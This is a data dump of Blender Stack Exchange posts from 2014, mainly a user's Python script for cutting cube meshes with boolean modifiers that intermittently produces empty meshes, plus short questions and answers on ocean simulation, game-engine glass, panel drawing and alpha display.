  <row Id="15217" PostTypeId="1" CreationDate="2014-08-22T22:04:22.877" Score="1" ViewCount="761" Body="&lt;p&gt;I'm trying to use the boolean difference modifier to make a cut in my mesh.  Instead the mesh looses all vertices and becomes empty, and in the terminal I get about 10 messages that look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;group 0D0F8A30 is unclassified!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, my normals are all consistent, I don't have any duplicate vertices, and both my meshes are manifolds.  The really strange aspect is that all operations are being performed by a python script I wrote, but the script only fails some of the time.  The script is entirely deterministic (as far as I can tell), but sometimes it will run correctly and sometimes it will fail, return an empty mesh and print some of the above messages into the terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fm9Bb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The highlighted mesh will have the boolean modifier applied to it and the small cube is the object for this modifier.  The intersection of the meshes is nice and transverse.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The strangest aspect of all of this to me is that my apparently deterministic script succeeds some of the time and fails some of the time.  When it fails, the point at which it fails will differ.  Any insight would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:  I've included the code below.  Hopefully it's understandable.  When the error occurs, it occurs in the section that begins&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if clip_edges&#xA;    for edge in cut_edges(ADDR, n)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that this section is in many ways similar to the section that begins&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for addr in ADDR_to_remove&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However no error ever occurs in that section.  The boolean operations in the latter mentioned section involve punching holes through solid faces of the mesh.  The boolean operations in the former mentioned (error containing) section involve cutting solid edges of the mesh.  I typically see both success and failure after running the code at most 10 times.  Between runs of the code all I do is delete the one mesh that is produced by the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also sorry if my code is hard to understand.  I'm not used to writing code that others will look at or use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from time import localtime, time&#xA;from mathutils import Vector&#xA;&#xA;start_time = time()&#xA;&#xA;n = 3&#xA;final_size = 3.1                    #makerware units are mm&#xA;final_wall_thickness = .1         #minimum 0.0275591 for wsf&#xA;clip_edges = True&#xA;export_save = False&#xA;export_name = &quot;acyclic_surface&quot;&#xA;#n=2 ADDR = [('x', (1, 0, 1)), ('z', (0, 1, 2)), ('x', (0, 0, 1)), ('y', (0, 0, 1)), ('z', (1, 0, 0)), ('z', (1, 1, 1)), ('x', (2, 0, 0)), ('x', (1, 1, 1)), ('z', (0, 0, 2)), ('y', (1, 0, 0)), ('y', (0, 2, 1)), ('x', (0, 1, 1)), ('y', (1, 1, 0)), ('x', (1, 0, 0))]&#xA;ADDR = [('z', (1, 1, 0)), ('z', (0, 0, 1)), ('x', (3, 0, 1)), ('y', (2, 0, 1)), ('y', (2, 1, 1)), ('z', (0, 1, 0)), ('x', (0, 1, 0)), ('z', (2, 0, 2)), ('z', (2, 2, 1)), ('x', (2, 0, 1)), ('y', (0, 1, 0)), ('y', (1, 2, 0)), ('y', (0, 2, 0)), ('z', (1, 2, 1)), ('x', (2, 1, 0)), ('z', (1, 0, 1)), ('y', (1, 1, 0)), ('z', (0, 2, 1)), ('z', (2, 1, 1))]&#xA;#n=4 ADDR = [('x', (4, 1, 1)), ('z', (3, 2, 1)), ('y', (1, 0, 1)), ('y', (3, 1, 1)), ('z', (3, 0, 2)), ('x', (3, 1, 1)), ('y', (0, 1, 0)), ('x', (1, 1, 0)), ('x', (3, 2, 1)), ('z', (0, 1, 0)), ('x', (0, 0, 1)), ('z', (2, 0, 2)), ('y', (0, 2, 0)), ('x', (2, 0, 1)), ('z', (2, 3, 2)), ('z', (1, 0, 1)), ('x', (0, 1, 1)), ('z', (0, 0, 1)), ('x', (4, 2, 1)), ('z', (1, 2, 2)), ('x', (3, 3, 1)), ('y', (1, 1, 1)), ('x', (1, 2, 1)), ('z', (1, 1, 2)), ('x', (4, 3, 1)), ('z', (0, 2, 1)), ('y', (0, 3, 1)), ('z', (3, 1, 1)), ('z', (0, 3, 2)), ('z', (2, 2, 2)), ('z', (1, 3, 2)), ('x', (0, 2, 1)), ('y', (0, 0, 1)), ('z', (3, 3, 1)), ('x', (1, 1, 1)), ('y', (3, 4, 1)), ('x', (0, 1, 0)), ('z', (2, 1, 2))]&#xA;#n=5 ADDR = [('z', (3, 2, 0)), ('x', (2, 4, 2)), ('y', (3, 3, 1)), ('y', (2, 2, 0)), ('y', (3, 2, 0)), ('x', (1, 0, 1)), ('x', (2, 4, 3)), ('x', (5, 0, 1)), ('y', (4, 3, 0)), ('z', (3, 0, 0)), ('y', (1, 0, 1)), ('x', (0, 2, 2)), ('z', (2, 1, 3)), ('x', (3, 1, 2)), ('x', (3, 1, 1)), ('z', (2, 2, 0)), ('z', (1, 3, 1)), ('y', (0, 1, 0)), ('x', (5, 1, 1)), ('z', (0, 0, 2)), ('z', (1, 4, 4)), ('z', (2, 0, 1)), ('z', (1, 2, 1)), ('z', (0, 4, 4)), ('x', (1, 1, 2)), ('z', (2, 3, 1)), ('y', (1, 4, 0)), ('z', (1, 1, 0)), ('z', (2, 4, 2)), ('z', (0, 1, 0)), ('y', (0, 5, 2)), ('z', (0, 3, 4)), ('y', (2, 0, 1)), ('y', (2, 1, 1)), ('z', (1, 3, 0)), ('z', (1, 1, 1)), ('x', (2, 3, 2)), ('z', (3, 3, 2)), ('x', (0, 3, 2)), ('x', (0, 3, 3)), ('y', (2, 1, 2)), ('y', (1, 5, 2)), ('z', (4, 3, 2)), ('y', (1, 3, 3)), ('x', (2, 3, 3)), ('y', (2, 2, 1)), ('z', (2, 3, 2)), ('z', (1, 0, 0)), ('x', (1, 0, 0)), ('z', (4, 4, 2)), ('y', (1, 0, 0)), ('y', (4, 0, 0)), ('z', (1, 2, 0)), ('y', (1, 3, 2)), ('y', (0, 3, 3)), ('z', (1, 2, 2)), ('z', (3, 4, 2)), ('y', (0, 5, 3)), ('y', (3, 0, 1)), ('z', (0, 1, 1)), ('y', (1, 1, 1)), ('x', (5, 2, 0)), ('x', (0, 3, 0)), ('x', (2, 0, 0)), ('z', (0, 2, 0)), ('z', (1, 1, 2)), ('y', (3, 3, 0)), ('y', (2, 4, 0)), ('x', (3, 3, 0)), ('x', (2, 1, 2)), ('y', (3, 0, 0)), ('x', (5, 1, 0)), ('x', (2, 1, 0)), ('y', (1, 5, 3)), ('z', (4, 0, 0)), ('y', (4, 3, 1)), ('z', (3, 1, 1)), ('z', (2, 3, 0)), ('y', (2, 2, 2)), ('y', (3, 1, 0)), ('z', (0, 2, 1)), ('z', (1, 3, 4)), ('x', (3, 0, 0)), ('y', (0, 4, 0)), ('z', (0, 3, 0)), ('y', (4, 0, 1)), ('x', (0, 1, 0)), ('z', (0, 3, 1)), ('x', (5, 2, 1)), ('x', (1, 2, 2)), ('y', (2, 3, 1)), ('z', (4, 1, 0)), ('z', (4, 2, 0)), ('x', (0, 1, 2)), ('x', (0, 4, 2)), ('x', (2, 2, 1)), ('x', (0, 4, 3)), ('y', (0, 1, 2)), ('z', (0, 1, 3)), ('x', (4, 1, 0)), ('z', (0, 2, 3)), ('x', (0, 2, 0)), ('x', (5, 0, 0))]&#xA;&#xA;def approx(a, b, epsilon):&#xA;    return abs(a - b) &amp;lt; epsilon&#xA;&#xA;def t_add(t1, t2):&#xA;    return tuple(map(lambda a,b:a+b, t1, t2))&#xA;&#xA;def cycle_mode():&#xA;    bpy.ops.object.mode_set(mode = 'EDIT')&#xA;    bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&#xA;def addresses(nx, ny=None, nz=None, diams = False):&#xA;    if ny == None:&#xA;        ny = nx&#xA;    if nz == None:&#xA;        nz = nx&#xA;    if not diams:&#xA;        diams = (1,1,1)&#xA;    elif diams == 'big':&#xA;        diams = (n1, n2, n3)&#xA;    addr = []&#xA;    for i in range(nx+1):&#xA;        for j in range(ny+1-diams[1]):&#xA;            for k in range(nz+1-diams[2]):&#xA;                addr.append(('x', (i,j,k)))&#xA;    for i in range(nx+1-diams[0]):&#xA;        for j in range(ny+1):&#xA;            for k in range(nz+1-diams[2]):&#xA;                addr.append(('y', (i,j,k)))&#xA;    for i in range(nx+1-diams[0]):&#xA;        for j in range(ny+1-diams[1]):&#xA;            for k in range(nz+1):&#xA;                addr.append(('z', (i,j,k)))&#xA;    return addr&#xA;&#xA;def addr_complement(addr, dims):&#xA;    addr_s = set(addr)&#xA;    all_addr_s = set(addresses(dims))&#xA;    return list(all_addr_s.difference(addr_s))&#xA;&#xA;def hole_addresses(nx, ny=None, nz=None):&#xA;    if ny == None:&#xA;        ny = nx&#xA;    if nz == None:&#xA;        nz = nx&#xA;    ADDR = []&#xA;    for x in range(nx):&#xA;        for y in range(ny):&#xA;            for z in range(nz):&#xA;                ADDR.append((x,y,z))&#xA;    return ADDR&#xA;&#xA;def cut_edges(addrs, nx, ny=None, nz=None):&#xA;    #addresses to keep&#xA;    if ny == None:&#xA;        ny = nx&#xA;    if nz == None:&#xA;        nz = nx&#xA;    edges = set()&#xA;    for addr in addrs:&#xA;        point = addr[1]&#xA;        if addr[0] == 'x':&#xA;            edges.update(set([('x', t_add(point, (i,j,k))) for i in (-1,0) for j in (0,1) for k in (0,1)]))&#xA;            edges.update(set([('y', t_add(point, (0,j,k))) for j in (-1,1) for k in (0,1)]))&#xA;            edges.update(set([('z', t_add(point, (0,j,k))) for j in (0,1) for k in (-1,1)]))&#xA;        elif addr[0] == 'y':&#xA;            edges.update(set([('y', t_add(point, (i,j,k))) for i in (0,1) for j in (-1,1) for k in (0,1)]))&#xA;            edges.update(set([('x', t_add(point, (i,0,k))) for i in (-1,1) for k in (0,1)]))&#xA;            edges.update(set([('z', t_add(point, (i,0,k))) for i in (0,1) for k in (-1,1)]))&#xA;        elif addr[0] == 'z':&#xA;            edges.update(set([('z', t_add(point, (i,j,k))) for i in (0,1) for j in (0,1) for k in (-1,0)]))&#xA;            edges.update(set([('x', t_add(point, (i,j,0))) for i in (-1,1) for j in (0,1)]))&#xA;            edges.update(set([('y', t_add(point, (i,j,0))) for i in (0,1) for j in (-1,1)]))&#xA;    to_delete = set()&#xA;    for edge in edges:&#xA;        if min(edge[1])&amp;lt;0 or (edge[0]=='x' and edge[1][0]&amp;gt;=nx) or (edge[0]=='y' and edge[1][1]&amp;gt;=ny) or (edge[0]=='z' and edge[1][2]&amp;gt;=nz):&#xA;            to_delete.add(edge)&#xA;    edges.difference_update(to_delete)&#xA;    for addr in addrs:&#xA;        point = addr[1]&#xA;        if addr[0] == 'x':&#xA;            edges.discard(('y',point))&#xA;            edges.discard(('z',point))&#xA;            edges.discard(('y',t_add(point, (0,0,1))))&#xA;            edges.discard(('z',t_add(point, (0,1,0))))&#xA;        elif addr[0] == 'y':&#xA;            edges.discard(('x',point))&#xA;            edges.discard(('z',point))&#xA;            edges.discard(('x',t_add(point, (0,0,1))))&#xA;            edges.discard(('z',t_add(point, (1,0,0))))&#xA;        elif addr[0] == 'z':&#xA;            edges.discard(('x',point))&#xA;            edges.discard(('y',point))&#xA;            edges.discard(('x',t_add(point, (0,1,0))))&#xA;            edges.discard(('y',t_add(point, (1,0,0))))&#xA;    return edges&#xA;&#xA;working_wall_thickness = (n*final_wall_thickness)/(final_size - final_wall_thickness) &#xA;wwt = working_wall_thickness&#xA;ADDR_to_remove = addr_complement(ADDR, n)&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;main = bpy.context.active_object&#xA;main.name = 'main'&#xA;bpy.ops.transform.resize(value = ((n+wwt)/2.0, (n+wwt)/2.0, (n+wwt)/2.0))&#xA;main.location = ((n+wwt)/2.0, (n+wwt)/2.0, (n+wwt)/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.subdivide(number_cuts = n-1)&#xA;&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;hole = bpy.context.active_object&#xA;hole.name = 'hole'&#xA;bpy.ops.transform.resize(value = ((1-wwt)/2.0, (1-wwt)/2.0, (1-wwt)/2.0))&#xA;hole.location = ((1+wwt)/2.0, (1+wwt)/2.0, (1+wwt)/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.select_all(action = 'SELECT')&#xA;bpy.ops.mesh.flip_normals()&#xA;&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;for addr in hole_addresses(n):&#xA;    bpy.ops.object.select_all(action = 'DESELECT')&#xA;    hole.select = True&#xA;    bpy.ops.object.duplicate()&#xA;    hole_temp = bpy.context.selectable_objects[0]&#xA;    hole_temp.location = addr&#xA;    bpy.ops.object.select_all(action = 'DESELECT')&#xA;    main.select = True&#xA;    hole_temp.select = True&#xA;    bpy.context.scene.objects.active = main&#xA;    bpy.ops.object.join()&#xA;&#xA;bpy.ops.object.select_all(action = 'DESELECT')&#xA;hole.select = True&#xA;bpy.ops.object.delete()&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;punch_x = bpy.context.active_object&#xA;punch_x.name = 'punch_x'&#xA;bpy.ops.transform.resize(value = (wwt, .1, .1))&#xA;punch_x.location = (wwt/2.0, (1+wwt)/2.0, (1+wwt)/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;punch_y = bpy.context.active_object&#xA;punch_y.name = 'punch_y'&#xA;bpy.ops.transform.resize(value = (.1, wwt, .1))&#xA;punch_y.location = ((1+wwt)/2.0, wwt/2.0, (1+wwt)/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;punch_z = bpy.context.active_object&#xA;punch_z.name = 'punch_z'&#xA;bpy.ops.transform.resize(value = (.1, .1, wwt))&#xA;punch_z.location = ((1+wwt)/2.0, (1+wwt)/2.0, wwt/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;knife_x = bpy.context.active_object&#xA;knife_x.name = 'knife_x'&#xA;bpy.ops.transform.resize(value = (.1, wwt, wwt))&#xA;knife_x.location = ((1+wwt)/2.0, wwt/2.0, wwt/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;knife_y = bpy.context.active_object&#xA;knife_y.name = 'knife_y'&#xA;bpy.ops.transform.resize(value = (wwt, .1, wwt))&#xA;knife_y.location = (wwt/2.0, (1+wwt)/2.0, wwt/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;&#xA;bpy.ops.mesh.primitive_cube_add(location = (0,0,0))&#xA;knife_z = bpy.context.active_object&#xA;knife_z.name = 'knife_z'&#xA;bpy.ops.transform.resize(value = (wwt, wwt, .1))&#xA;knife_z.location = (wwt/2.0, wwt/2.0, (1+wwt)/2.0)&#xA;bpy.ops.object.transform_apply(scale = True, location = True)&#xA;&#xA;for addr in ADDR_to_remove:&#xA;    x = addr[1][0]&#xA;    y = addr[1][1]&#xA;    z = addr[1][2]&#xA;    if addr[0] == 'x':&#xA;        punch_x.location = addr[1]&#xA;        bpy.context.scene.objects.active = main&#xA;        bpy.ops.object.modifier_add(type = 'BOOLEAN')&#xA;        main.modifiers[0].object = punch_x&#xA;        main.modifiers[0].operation = 'DIFFERENCE'&#xA;        bpy.ops.object.modifier_apply(modifier = 'Boolean')&#xA;        for vertex in main.data.vertices:&#xA;            if approx(vertex.co[1], y + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[0], x, 2*wwt):&#xA;                vertex.co[1] = y + 1&#xA;                vertex.co[2] = z + 1&#xA;            elif approx(vertex.co[1], y + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[0], x, 2*wwt):&#xA;                vertex.co[1] = y + 1&#xA;                vertex.co[2] = z + wwt&#xA;            elif approx(vertex.co[1], y + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[0], x, 2*wwt):&#xA;                vertex.co[1] = y + wwt&#xA;                vertex.co[2] = z + 1&#xA;            elif approx(vertex.co[1], y + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[0], x, 2*wwt):&#xA;                vertex.co[1] = y + wwt&#xA;                vertex.co[2] = z + wwt&#xA;    elif addr[0] == 'y':&#xA;        punch_y.location = addr[1]&#xA;        bpy.context.scene.objects.active = main&#xA;        bpy.ops.object.modifier_add(type = 'BOOLEAN')&#xA;        main.modifiers[0].object = punch_y&#xA;        main.modifiers[0].operation = 'DIFFERENCE'&#xA;        bpy.ops.object.modifier_apply(modifier = 'Boolean')&#xA;        for vertex in main.data.vertices:&#xA;            if approx(vertex.co[0], x + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[1], y, 2*wwt):&#xA;                vertex.co[0] = x + 1&#xA;                vertex.co[2] = z + 1&#xA;            elif approx(vertex.co[0], x + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[1], y, 2*wwt):&#xA;                vertex.co[0] = x + 1&#xA;                vertex.co[2] = z + wwt&#xA;            elif approx(vertex.co[0], x + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[1], y, 2*wwt):&#xA;                vertex.co[0] = x + wwt&#xA;                vertex.co[2] = z + 1&#xA;            elif approx(vertex.co[0], x + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[2], z + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[1], y, 2*wwt):&#xA;                vertex.co[0] = x + wwt&#xA;                vertex.co[2] = z + wwt&#xA;    elif addr[0] == 'z':&#xA;        punch_z.location = addr[1]&#xA;        bpy.context.scene.objects.active = main&#xA;        bpy.ops.object.modifier_add(type = 'BOOLEAN')&#xA;        main.modifiers[0].object = punch_z&#xA;        main.modifiers[0].operation = 'DIFFERENCE'&#xA;        bpy.ops.object.modifier_apply(modifier = 'Boolean')&#xA;        for vertex in main.data.vertices:&#xA;            if approx(vertex.co[0], x + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[1], y + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[2], z, 2*wwt):&#xA;                vertex.co[0] = x + 1&#xA;                vertex.co[1] = y + 1&#xA;            elif approx(vertex.co[0], x + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[1], y + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[2], z, 2*wwt):&#xA;                vertex.co[0] = x + 1&#xA;                vertex.co[1] = y + wwt&#xA;            elif approx(vertex.co[0], x + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[1], y + (1+wwt)/2.0 + 0.1, .001) and approx(vertex.co[2], z, 2*wwt):&#xA;                vertex.co[0] = x + wwt&#xA;                vertex.co[1] = y + 1&#xA;            elif approx(vertex.co[0], x + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[1], y + (1+wwt)/2.0 - 0.1, .001) and approx(vertex.co[2], z, 2*wwt):&#xA;                vertex.co[0] = x + wwt&#xA;                vertex.co[1] = y + wwt&#xA;&#xA;bpy.ops.object.mode_set(mode = 'EDIT')&#xA;bpy.ops.mesh.remove_doubles()&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&#xA;if clip_edges:&#xA;    for edge in cut_edges(ADDR, n):&#xA;        print(edge)&#xA;        x = edge[1][0]&#xA;        y = edge[1][1]&#xA;        z = edge[1][2]&#xA;        if edge[0] == 'x':&#xA;            knife_x.location = edge[1]&#xA;            bpy.context.scene.objects.active = main&#xA;            bpy.ops.object.modifier_add(type = 'BOOLEAN')&#xA;            main.modifiers[0].object = knife_x&#xA;            main.modifiers[0].operation = 'DIFFERENCE'&#xA;            bpy.ops.object.modifier_apply(modifier = 'Boolean')&#xA;            for vertex in main.data.vertices:&#xA;                if approx(vertex.co[1], y, 2*wwt) and approx(vertex.co[2], z, 2*wwt) and approx(vertex.co[0], x + (wwt+1)/2.0 - 0.1, .001):&#xA;                    vertex.co[0] -= (1-wwt)/2.0 - 0.1&#xA;                elif approx(vertex.co[1], y, 2*wwt) and approx(vertex.co[2], z, 2*wwt) and approx(vertex.co[0], x + (wwt+1)/2.0 + 0.1, .001):&#xA;                    vertex.co[0] += (1-wwt)/2.0 - 0.1&#xA;        elif edge[0] == 'y':&#xA;            knife_y.location = edge[1]&#xA;            bpy.context.scene.objects.active = main&#xA;            bpy.ops.object.modifier_add(type = 'BOOLEAN')&#xA;            main.modifiers[0].object = knife_y&#xA;            main.modifiers[0].operation = 'DIFFERENCE'&#xA;            bpy.ops.object.modifier_apply(modifier = 'Boolean')&#xA;            for vertex in main.data.vertices:&#xA;                if approx(vertex.co[0], x, 2*wwt) and approx(vertex.co[2], z, 2*wwt) and approx(vertex.co[1], y + (wwt+1)/2.0 - 0.1, .001):&#xA;                    vertex.co[1] -= (1-wwt)/2.0 - 0.1&#xA;                elif approx(vertex.co[0], x, 2*wwt) and approx(vertex.co[2], z, 2*wwt) and approx(vertex.co[1], y + (wwt+1)/2.0 + 0.1, .001):&#xA;                    vertex.co[1] += (1-wwt)/2.0 - 0.1&#xA;        elif edge[0] == 'z':&#xA;            knife_z.location = edge[1]&#xA;            bpy.context.scene.objects.active = main&#xA;            bpy.ops.object.modifier_add(type = 'BOOLEAN')&#xA;            main.modifiers[0].object = knife_z&#xA;            main.modifiers[0].operation = 'DIFFERENCE'&#xA;            bpy.ops.object.modifier_apply(modifier = 'Boolean')&#xA;            for vertex in main.data.vertices:&#xA;                if approx(vertex.co[0], x, 2*wwt) and approx(vertex.co[1], y, 2*wwt) and approx(vertex.co[2], z + (wwt+1)/2.0 - 0.1, .001):&#xA;                    vertex.co[2] -= (1-wwt)/2.0 - 0.1&#xA;                elif approx(vertex.co[0], x, 2*wwt) and approx(vertex.co[1], y, 2*wwt) and approx(vertex.co[2], z + (wwt+1)/2.0 + 0.1, .001):&#xA;                    vertex.co[2] += (1-wwt)/2.0 - 0.1&#xA;        bpy.ops.object.mode_set(mode = 'EDIT')&#xA;        bpy.ops.mesh.remove_doubles()&#xA;        bpy.ops.mesh.normals_make_consistent(inside=False)&#xA;        bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&#xA;bpy.ops.object.select_all(action = 'DESELECT')&#xA;punch_x.select = True&#xA;punch_y.select = True&#xA;punch_z.select = True&#xA;knife_x.select = True&#xA;knife_y.select = True&#xA;knife_z.select = True&#xA;bpy.ops.object.delete()&#xA;&#xA;c = final_wall_thickness/wwt&#xA;bpy.ops.object.select_all()&#xA;bpy.ops.transform.resize(value = (c, c, c))&#xA;bpy.ops.object.transform_apply(scale = True)&#xA;&#xA;print(time() - start_time)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5722" LastEditorUserId="5722" LastEditDate="2014-08-22T23:47:10.197" LastActivityDate="2014-08-22T23:47:10.197" Title="Boolean difference deleting mesh" Tags="&lt;python&gt;&lt;scripting&gt;&lt;modifiers&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15218" PostTypeId="1" CreationDate="2014-08-23T02:23:32.533" Score="1" ViewCount="680" Body="&lt;p&gt;My scene is a ocean with an ANT Landscape in the middle serving as an island. There is also to be a boat and some sort of serpent in the ocean, which is a plane with a ocean modifier. Currently, the ocean overlaps some parts of the island like its not there and the waves pass through the boat. Later on, when I finish up the serpent mesh, I want to create a splashing effect and cause the waves to rise around the serpent as it threads through surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there isn't any settings I can mess around with to fix this. I've looked up a &lt;a href=&quot;https://blender.stackexchange.com/questions/2180/how-can-waves-of-the-ocean-simulator-flattened-on-a-beach-area&quot;&gt;solution using the shrink wrap modifier&lt;/a&gt;, but that creates a mess of triangle and still doesn't do everything I want it to do. I considered fluid simulation, except for the warning that fluid simulation takes a long time and its used sparsely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering, therefore, if it was possible to replicate the ocean modifier and then join the meshes by joining the closest vertices? Or if there is some workaround involving some complex modifiers? Or if I should fake the effect of all objects being in the same scene?&lt;/p&gt;&#xA;" OwnerUserId="5609" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2014-08-23T02:23:32.533" Title="How to include objects into the simulation of the wave modifier or replicate the wave modifier" Tags="&lt;fluid-simulation&gt;&lt;ocean-simulation&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15219" PostTypeId="1" AcceptedAnswerId="15251" CreationDate="2014-08-23T03:57:16.797" Score="1" ViewCount="1759" Body="&lt;p&gt;Why does glass material not show in Blenders game engine when it is running? I have recently been trying to create glass objects like windows for my game but when I run my game the glass material shows up black. I have done research and have found nothing but other things that has no to do with the answer I am looking for. So i figure coming here to ask my question is my last resort. So is there anyway to make glass material show up when blenders game engine is running?&lt;/p&gt;&#xA;" OwnerUserId="3477" LastActivityDate="2014-12-21T04:22:05.177" Title="Why does glass material not show in Blenders game engine when it is running?" Tags="&lt;materials&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15220" PostTypeId="2" ParentId="15196" CreationDate="2014-08-23T04:24:15.880" Score="4" Body="&lt;p&gt;To scale something in the direction of the normals, you can use &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using this tool, you can fatten a model or make it more slender.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a model that has many thin parts that are close together like this one, there will likely be some overlapping parts when you fatten it so a bit of manual work will be needed to clean it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UoLvD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a LICEcap screen-capture .gif I show an easy way to clean up the overlapping edges.  I'm using the circle select tool &lt;kbd&gt;C&lt;/kbd&gt; to select all the edges then with the selection tool still active use &lt;kbd&gt;MMB&lt;/kbd&gt; to deselect the surrounding edges leaving only the one which is not visible.  That one edge  is not visible because it's facing directly in and out of the screen and the display cannot handle that situation but the line is still selected even though we can't see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ust6I.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-08-23T09:09:35.803" LastActivityDate="2014-08-23T09:09:35.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15225" PostTypeId="1" CreationDate="2014-08-23T09:36:50.867" Score="2" ViewCount="107" Body="&lt;p&gt;I need to calculate a set of parameters for each draw cycle, which are needed in multiple draw() functions from different panels. Currently i calculate the parameters within each panel's draw() function which appears to be very inefficient. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i search for a way to add a function which runs once per draw cycle. Then all panels can safely use the pre calculated parameters as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need this set in 2 panels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bones = set([b.name for b in bpy.context.selected_pose_bones])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can i calculate this set once and then reuse the set in both panels ?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="2217" LastEditDate="2014-08-23T12:14:36.383" LastActivityDate="2014-08-25T07:54:38.783" Title="Prepare a set of parameters for reuse in multiple panels" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15226" PostTypeId="2" ParentId="15106" CreationDate="2014-08-23T11:07:06.947" Score="-2" Body="&lt;p&gt;If you are working in Cycles, it isn't currently possible to view the alpha channel in the textured view. The rendered view is the only current workaround.&lt;/p&gt;&#xA;" OwnerUserId="5726" LastActivityDate="2014-08-23T11:07:06.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
